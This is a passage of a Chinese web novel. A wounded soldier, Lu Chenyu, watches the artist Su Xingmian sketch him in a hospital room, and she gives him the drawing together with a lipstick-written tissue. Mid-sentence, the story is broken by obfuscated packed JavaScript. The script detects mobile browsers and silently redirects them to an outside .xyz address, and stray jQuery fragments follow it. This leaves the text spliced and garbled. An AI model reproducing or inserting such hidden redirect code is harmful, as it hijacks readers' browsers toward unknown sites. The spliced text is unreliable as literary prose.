陆沉屿读懂了。
他紧绷的下颌线似乎松动了一丝。深不见底的眼底，那片翻涌的惊涛骇浪，仿佛被一只无形的手轻轻抚过，渐渐沉淀下来，化作一片深沉而包容的宁静。他没有说话，只是极其轻微地、几乎难以察觉地点了一下头。身体放松下来，靠回床头，目光安静地落在她身上，默许了她的请求。
苏星眠得到了无声的许可，微微垂下眼帘，长长的睫毛在苍白的脸颊上投下小片阴影。她将所有的注意力都凝聚在手中的铅笔和画纸之上。
铅笔尖轻轻触碰到粗糙的纸面，发出极细微的“沙沙”声。这声音在寂静的病房里被无限放大，像春蚕啃食桑叶，又像细雨落在干燥的土地上，瞬间打破了令人窒息的沉默，编织出一种奇异的、令人心安的韵律。
她画得很慢，很专注。时而抬头，目光如同最精准的尺规，细细描摹着他此刻的轮廓——那被绷带缠绕却依旧挺拔如山峦的肩线；那侧脸冷硬如刀削斧劈般的下颌线条，此刻因伤病和疲惫而柔和了几分棱角，却更添一种沉静的沧桑；那高挺的鼻梁，如同险峻的山脊；那紧抿的、带着一丝倔强和干裂的唇线；还有那双深邃的眼眸，此刻正安静地凝视着她，里面沉淀着太多无法言说的东西……
她的目光专注而平静，带着一种艺术工作者特有的、抽离又沉浸的奇异状态。仿佛整个世界只剩下眼前的线条和光影，只剩下画纸上那个逐渐成型的身影。只有在她偶尔停顿、凝神观察他脸上某处细微的伤痕或绷带褶皱时，眼底才会飞快地掠过一丝无法掩饰的心疼，随即又被更深的专注掩盖。
陆沉屿也同样沉默。
他靠在枕头上，身体因为伤处依旧隐隐作痛而微微僵硬，但精神却感受到了一种前所未有的放松和……宁静。他没有去看画板，他的目光，始终停留在苏星眠的脸上。
他看着阳光穿过窗户，在她低垂的眉眼上跳跃，给她苍白的肌肤镀上一层温暖的金边。看着她因专注而微微蹙起的、秀气的眉头。看着她长长的睫毛随着视线移动而轻轻颤动，像栖息在花瓣上的蝶翼。看着她毫无血色的、近乎透明的唇瓣微微抿着，透着一股子不服输的韧劲。看着她握着铅笔的、瘦得骨节分明的手指，稳定而有力地移动着，在纸面上留下流畅而富有生命力的线条。
空气里，消毒水的味道依旧存在，甚至还能隐约闻到一丝来自他伤口敷料的、淡淡的血腥气和药味。但此刻，这些冰冷的气味似乎都被另一种气息悄然中和、覆盖了——那是铅笔划过纸张的沙沙声，是窗外阳光温暖的味道，是她身上传来的、极其微弱的、带着药味的、属于她的气息。
一种从未有过的、真实的、带着体温的宁静与满足感，如同温热的泉水，无声地浸润着陆沉屿冰冷坚硬的心湖。那些在战场上积累的硝烟与血腥，那些在PTSD深渊中挣扎的恐惧与梦魇，那些肩负重任带来的沉重与疲惫，在这一刻，在这个被阳光、药水味和铅笔沙沙声包围的狭小空间里，被一种更强大的力量悄然抚平、驱散。
他不需要言语。不需要确认。只是这样静静地看着她，看着她专注地描绘着自己，感受着她真实的存在，感受着这份跨越生死、穿越千山万水才抵达的、笨拙却无比珍贵的相守，就足以填补他灵魂深处所有的空洞与荒芜。
时间在沙沙的笔触声中悄然流逝。心电监护仪规律的“嘀嘀”声成了最平和的伴奏。
不知过了多久，苏星眠手中的铅笔停了下来。她微微后仰，对着画纸仔细端详了片刻，长长的睫毛垂落着，掩去了眼底所有的情绪。然后，她极其小心地，将画纸从画板上取下。
她没有立刻递给陆沉屿，而是从帆布包的一个内侧口袋里，摸索了一下，掏出了一样东西。
陆沉屿的目光瞬间凝固。
那是三天前，在军区总医院大门外，在凛冽寒风和飘飞的细雪中，她递给警卫战士的那张纸巾。只是此刻，原本雪白的纸巾已经变得有些皱皱巴巴，边缘染上了污渍。而上面那用鲜红唇膏写下的、力透纸背的两行字迹，却依旧清晰、灼目：
见字如晤
星火等孤屿
苏星眠看着这张纸巾，眼神复杂。她伸出纤细的手指，极其温柔地、小心翼翼地抚平了纸巾的一角褶皱。然后，她将刚刚完成的素描画纸，轻轻地覆盖在了这张染血的纸巾之上。
做完这一切，她才抬起头，目光重新投向病床上的陆沉屿。她的眼神不再躲闪，清澈的眼底带着一丝完成重大仪式般的平静，和一丝不易察觉的、小心翼翼的期待。她站起身，拿着叠在一起的画纸和纸巾，一步一步走到床边。
她没有说话。只是微微俯身，将手中这份沉甸甸的“信物”，轻轻地、极其珍重地，放在了陆沉屿那只没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532773|186419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受伤、摊放在薄被上的右手旁边。
她的指尖，在放下画纸的瞬间，极其短暂地、几乎难以察觉地，触碰到了他干燥温热的掌心边缘。那触感如同羽毛拂过，带着一丝微凉，却瞬间点燃了皮肤下滚烫的电流。
陆沉屿的身体几不可察地微微一震。他的目光从她放下的画纸上移开，猛地抬起，再次撞入她近在咫尺的眼眸深处。
这一次，苏星眠没有避开。她迎视着他的目光，苍白的脸上缓缓地、极其艰难地，绽开了一个微小的、如同初雪消融般的、脆弱却又无比真实的笑容。那笑容很浅，却像一道微弱却固执的光，瞬间点亮了她整张憔悴的脸庞。
陆沉屿的呼吸猛地一窒。一股滚烫的洪流瞬间冲上他的眼眶，酸涩得让他几乎控制不住。那只摊放在被子上、离画纸只有咫尺之遥的右手，手指不受控制地蜷缩了一下，仿佛想要抓住什么，又怕惊扰了眼前这易碎的幻境。
他最终，只是用那只缠满绷带、无法动弹的左手，极其艰难地、带着一种不容置疑的坚定，轻轻地、拍了拍自己病床的边缘。那动作很轻，却像一道无声的指令，又像是一个最郑重的邀请。
苏星眠看着他的动作，看着他眼底那片深沉如海、几乎要将她溺毙的情愫，红唇微启，似乎想说什么，最终却只是更紧地抿住了唇。她没有丝毫犹豫，顺从地、小心翼翼地，在床沿边坐了下来。位置离他很近，近到她能清晰地闻到他身上消毒水和药味之下，那属于他本身的、干净而凛冽的气息。
她没有再拿起画笔，也没有说话。只是安静地坐着，微微低着头，目光落在自己放在膝上、依旧沾着一点铅笔灰的指尖。阳光透过窗户，将两人一坐一靠的身影拉长，重叠在光洁的地板上。
陆沉屿的目光，长久地停留在她低垂的侧脸上。阳光勾勒着她柔和的轮廓，连脸颊上细微的绒毛都清晰可见。她的睫毛很长，在眼下投下一小片扇形的阴影。病房里很安静，只有两人清浅的呼吸声，在消毒水和阳光的味道里交织、缠绕，形成一种无声的、却足以撼动人心的和弦。
他那只放在被子上的右手，手指又微微动了一下，指尖距离她放在膝上的手，只有不到一寸的距离。冰冷的药水顺着输液管，一滴滴注入他的血管，带来一丝凉意，却丝毫无法冷却心口那片滚烫的熔岩。
窗外，冬日的阳光正暖。